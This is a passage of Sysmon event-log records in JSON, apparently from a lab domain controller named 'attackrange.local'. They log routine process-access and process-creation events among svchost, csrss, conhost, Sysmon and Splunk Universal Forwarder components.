11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4002,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40C3-5F2D-0000-001061B10500}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40C3-5F2D-0000-001061B10500}","TargetProcessId":"3984","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.838\r\nSourceProcessGUID: {90617006-40C3-5F2D-0000-001061B10500}\r\nSourceProcessId: 3984\r\nSourceThreadId: 3860\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.838","SourceProcessGUID":"{90617006-40C3-5F2D-0000-001061B10500}","SourceProcessId":"3984","SourceThreadId":"3860","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.370\r\nProcessGuid: {90617006-40C4-5F2D-0000-001029B30500}\r\nProcessId: 2284\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.370","ProcessGuid":"{90617006-40C4-5F2D-0000-001029B30500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40C4-5F2D-0000-001029B30500}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40C4-5F2D-0000-001029B30500}","TargetProcessId":"2284","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40C4-5F2D-0000-001029B30500}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40C4-5F2D-0000-001029B30500}","TargetProcessId":"2284","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 